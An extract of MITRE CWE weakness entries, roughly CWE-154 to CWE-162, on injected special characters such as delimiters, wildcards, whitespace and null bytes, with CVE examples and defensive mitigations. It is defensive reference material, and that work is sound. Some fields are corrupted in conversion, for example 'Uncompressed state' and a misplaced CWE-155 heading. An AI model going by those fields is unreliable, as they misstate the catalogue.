Time of Introduction
- Implementation

Applicable Platforms

Languages
- All

Common Consequences
- Integrity
  - Unexpected state

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0770</td>
<td>Server trusts client to expand macros, allows macro characters to be expanded to trigger resultant information exposure.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Developers should anticipate that substitution characters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

Implementation

Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelisted list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumerical characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumerical or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application’s current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>138</td>
<td>Improper Neutralization of Special Elements</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td>1000</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1392</td>
</tr>
</tbody>
</table>

Research Gaps

Under-studied.
CWE-154: Improper Neutralization of Variable Name Delimiters

**Description**

**Summary**
The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as variable name delimiters when they are sent to a downstream component.

**Extended Description**
As data is parsed, an injected delimiter may cause the process to take unexpected actions that result in an attack. Example: "$" for an environment variable.

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**
- Integrity
- Unexpected state

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0770</td>
<td>Server trusts client to expand macros, allows macro characters to be expanded to trigger resultant information exposure.</td>
</tr>
<tr>
<td>CVE-2005-0129</td>
<td>&quot;%&quot; variable is expanded by wildcard function into disallowed commands.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**
Developers should anticipate that variable name delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of blacklists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

**Implementation**

**Input Validation**
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
CWE-155: Improper Neutralization of Wildcards or Matching Symbols

Implementation

Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation

Input Validation
Inputs should be decoded and canonicalized to the application’s current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>138</td>
<td>Improper Neutralization of Special Elements</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
</tbody>
</table>

Research Gaps

Under-studied.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Variable Name Delimiter</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>15</td>
<td>Command Delimiters</td>
</tr>
</tbody>
</table>

CWE-155: Improper Neutralization of Wildcards or Matching Symbols

| Weakness ID: 155 (Weakness Variant) | Status: Draft |

Description

Summary
The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as wildcards or matching symbols when they are sent to a downstream component.

Extended Description
As data is parsed, an injected element may cause the process to take unexpected actions.

Time of Introduction
• Implementation

Applicable Platforms

Languages
• All

Common Consequences

Integrity
Unexpected state

Expected Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-0334</td>
<td>Wildcards generate long string on expansion.</td>
</tr>
<tr>
<td>CVE-2002-0433</td>
<td>Bypass file restrictions using wildcard character.</td>
</tr>
</tbody>
</table>
CWE Version 2.11

CWE-156: Improper Neutralization of Whitespace

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1010</td>
<td>Bypass file restrictions using wildcard character.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

Developers should anticipate that wildcard or matching elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

**Implementation**

**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation**

**Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Implementation**

**Input Validation**

Inputs should be decoded and canonicalized to the application’s current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>138</td>
<td>Improper Neutralization of Special Elements</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>56</td>
<td>Path Equivalence: ‘filedir*’ (Wildcard)</td>
<td></td>
</tr>
</tbody>
</table>

**Research Gaps**

Under-studied.

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Wildcard or Matching Element</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

CWE-156: Improper Neutralization of Whitespace

**Weakness ID:** 156 (*Weakness Variant*)  **Status:** Draft
Description

Summary
The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as whitespace when they are sent to a downstream component.

Extended Description
This can include space, tab, etc.

Alternate Terms
White space

Time of Introduction
• Implementation

Applicable Platforms

Languages
• All

Common Consequences

Integrity
Unexpected state

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0637</td>
<td>MIE. virus protection bypass with RFC violations involving extra whitespace, or missing whitespace.</td>
</tr>
<tr>
<td>CVE-2003-1015</td>
<td>MIE. whitespace interpreted differently by mail clients.</td>
</tr>
<tr>
<td>CVE-2004-0942</td>
<td>CPU consumption with MIME headers containing lines with many space characters, probably due to algorithmic complexity (RESOURCE.AMP.ALG).</td>
</tr>
</tbody>
</table>

Potential Mitigations
Developers should anticipate that whitespace will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

Implementation

Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>138</td>
<td>Improper Neutralization of Special Elements</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
</tbody>
</table>

Relationship Notes

Can overlap other separator characters or delimiters.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>SPEC.WHITESPACE</td>
<td></td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

CWE-157: Failure to Sanitize Paired Delimiters

Weakness ID: 157 (Weakness Variant)  Status: Draft

Description

Summary

The software does not properly handle the characters that are used to mark the beginning and ending of a group of entities, such as parentheses, brackets, and braces.

Extended Description

Paired delimiters might include:
- `<` and `>` angle brackets
- `( ` and ` )` parentheses
- `{ ` and ` }` braces
- `[ ` and ` ]` square brackets
- " ` " double quotes
- ` ' ` single quotes

Time of Introduction

• Implementation

Applicable Platforms

Languages

• Language-independent

Common Consequences

Integrity

Unexpected state

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-1165</td>
<td>Crash via message without closing &quot;&quot;&gt;&quot;.</td>
</tr>
<tr>
<td>CVE-2004-0956</td>
<td>Crash via missing paired delimiter (open double-quote but no closing double-quote).</td>
</tr>
<tr>
<td>CVE-2005-2933</td>
<td>Buffer overflow via mailbox name with an opening double quote but missing a closing double quote, causing a larger copy than expected.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Developers should anticipate that grouping elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.
CWE-158: Improper Neutralization of Null Byte or NUL Character

**Summary**
The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes NUL characters or null bytes when they are sent to a downstream component.
Extended Description
As data is parsed, an injected NUL character or null byte may cause the software to believe the input is terminated earlier than it actually is, or otherwise cause the input to be misinterpreted. This could then be used to inject potentially dangerous input that occurs after the null byte or otherwise bypass validation routines and other protection mechanisms.

Time of Introduction
• Implementation

Applicable Platforms

Languages
• All

Common Consequences
Integrity
Unexpected state

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0149</td>
<td>Web server allows remote attackers to view the source code for CGI programs via a null character (%00) at the end of a URL.</td>
</tr>
<tr>
<td>CVE-2000-0671</td>
<td>Web server earlier allows remote attackers to bypass access restrictions, list directory contents, and read source code by inserting a null character (%00) in the URL.</td>
</tr>
<tr>
<td>CVE-2001-0738</td>
<td>Logging system allows an attacker to cause a denial of service (hang) by causing null bytes to be placed in log messages.</td>
</tr>
<tr>
<td>CVE-2001-1140</td>
<td>Web server allows source code for executable programs to be read via a null character (%00) at the end of a request.</td>
</tr>
<tr>
<td>CVE-2002-1025</td>
<td>Application server allows remote attackers to read JSP source code via an encoded null byte in an HTTP GET request, which causes the server to send the .JSP file unparsed.</td>
</tr>
<tr>
<td>CVE-2002-1031</td>
<td>Protection mechanism for limiting file access can be bypassed using a null character (%00) at the end of the directory name.</td>
</tr>
<tr>
<td>CVE-2002-1774</td>
<td>Null character in MIME header allows detection bypass.</td>
</tr>
<tr>
<td>CVE-2003-0768</td>
<td>XSS protection mechanism only checks for sequences with an alphabetical character following a (&lt;), so a non-alphabetical or null character (%00) following a &lt; may be processed.</td>
</tr>
<tr>
<td>CVE-2004-0189</td>
<td>Decoding function in proxy allows regular expression bypass in ACLs via URLs with null characters.</td>
</tr>
<tr>
<td>CVE-2005-2008</td>
<td>Source code disclosure using trailing null.</td>
</tr>
<tr>
<td>CVE-2005-2061</td>
<td>Trailing null allows file include.</td>
</tr>
<tr>
<td>CVE-2005-3153</td>
<td>Null byte bypasses PHP regexp check (interaction error).</td>
</tr>
<tr>
<td>CVE-2005-3293</td>
<td>Source code disclosure using trailing null.</td>
</tr>
<tr>
<td>CVE-2005-4155</td>
<td>Null byte bypasses PHP regexp check (interaction error).</td>
</tr>
</tbody>
</table>

Potential Mitigations
Developers should anticipate that null characters or null bytes will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>138</td>
<td>Improper Neutralization of Special Elements</td>
<td>699 284</td>
</tr>
<tr>
<td></td>
<td></td>
<td>1000</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888 1392</td>
</tr>
</tbody>
</table>

Relationship Notes
This can be a factor in multiple interpretation errors, other interaction errors, filename equivalence, etc.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Null Character / Null Byte</td>
</tr>
<tr>
<td>WASC</td>
<td>28</td>
<td>Null Byte Injection</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>52</td>
<td>Embedding NULL Bytes</td>
<td></td>
</tr>
<tr>
<td>53</td>
<td>Postfix, Null Terminate, and Backslash</td>
<td></td>
</tr>
</tbody>
</table>

References

CWE-159: Failure to Sanitize Special Element

Weakness ID: 159 (Weakness Class) Status: Draft

Description
Summary
Weaknesses in this attack-focused category do not properly filter and interpret special elements in user-controlled input which could cause adverse effect on the software behavior and integrity.

Terminology Notes
Precise terminology for the underlying weaknesses does not exist. Therefore, these weaknesses use the terminology associated with the manipulation.

Time of Introduction
• Implementation

**Applicable Platforms**

**Languages**

• All

**Common Consequences**

Integrity
Unexpected state

**Potential Mitigations**

Developers should anticipate that special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

**Implementation**

**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation**

**Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Implementation**

**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>V</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>138</td>
<td>Improper Neutralization of Special Elements</td>
<td>699</td>
<td>284</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
<td>1392</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>160</td>
<td>Improper Neutralization of Leading Special Elements</td>
<td>699</td>
<td>316</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>162</td>
<td>Improper Neutralization of Trailing Special Elements</td>
<td>699</td>
<td>319</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>164</td>
<td>Improper Neutralization of Internal Special Elements</td>
<td>699</td>
<td>321</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>166</td>
<td>Improper Handling of Missing Special Element</td>
<td>699</td>
<td>324</td>
</tr>
</tbody>
</table>
Research Gaps

Customized languages and grammars, even those that are specific to a particular product, are potential sources of weaknesses that are related to special elements. However, most researchers concentrate on the most commonly used representations for data transmission, such as HTML and SQL. Any representation that is commonly used is likely to be a rich source of weaknesses; researchers are encouraged to investigate previously unexplored representations.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Common Special Element Manipulations</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

Maintenance Notes

The list of children for this entry is far from complete.

CWE-160: Improper Neutralization of Leading Special Elements

Weakness ID: 160 (Weakness Variant) Status: Incomplete

Description

Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes leading special elements that could be interpreted in unexpected ways when they are sent to a downstream component.

Extended Description

As data is parsed, improperly handled leading special elements may cause the process to take unexpected actions that result in an attack.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Integrity
Uncompressed state

Potential Mitigations

Developers should anticipate that leading special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.
Implementation

Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation

Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[V]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>159</td>
<td>Failure to Sanitize Special Element</td>
<td></td>
<td>314</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
<td>1392</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>37</td>
<td>Path Traversal: '/absolute/pathname/here'</td>
<td></td>
<td>67</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>161</td>
<td>Improper Neutralization of Multiple Leading Special Elements</td>
<td>699</td>
<td>317</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>SFP24</td>
<td>Leading Special Element</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td></td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

CWE-161: Improper Neutralization of Multiple Leading Special Elements

Weakness ID: 161 (Weakness Variant) Status: Incomplete

Description

Summary
The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple leading special elements that could be interpreted in unexpected ways when they are sent to a downstream component.

Extended Description
As data is parsed, improperly handled multiple leading special elements may cause the process to take unexpected actions that result in an attack.

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**
- Integrity
- Unexpected state

**Potential Mitigations**

Developers should anticipate that multiple leading special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

**Implementation**

**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumerical characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation**

**Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumerical or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Implementation**

**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>V</td>
<td>160</td>
<td>Improper Neutralization of Leading Special Elements</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1392</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>50</td>
<td>Path Equivalence: '//'multiple/leading/slash'</td>
<td>1000</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**
CWE-162: Improper Neutralization of Trailing Special Elements

**Weakness ID:** 162 *(Weakness Variant)*  
**Status:** Incomplete

**Description**

**Summary**

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes trailing special elements that could be interpreted in unexpected ways when they are sent to a downstream component.

**Extended Description**

As data is parsed, improperly handled trailing special elements may cause the process to take unexpected actions that result in an attack.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

- Integrity
- Unexpected state

**Potential Mitigations**

Developers should anticipate that trailing special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

**Implementation**

**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

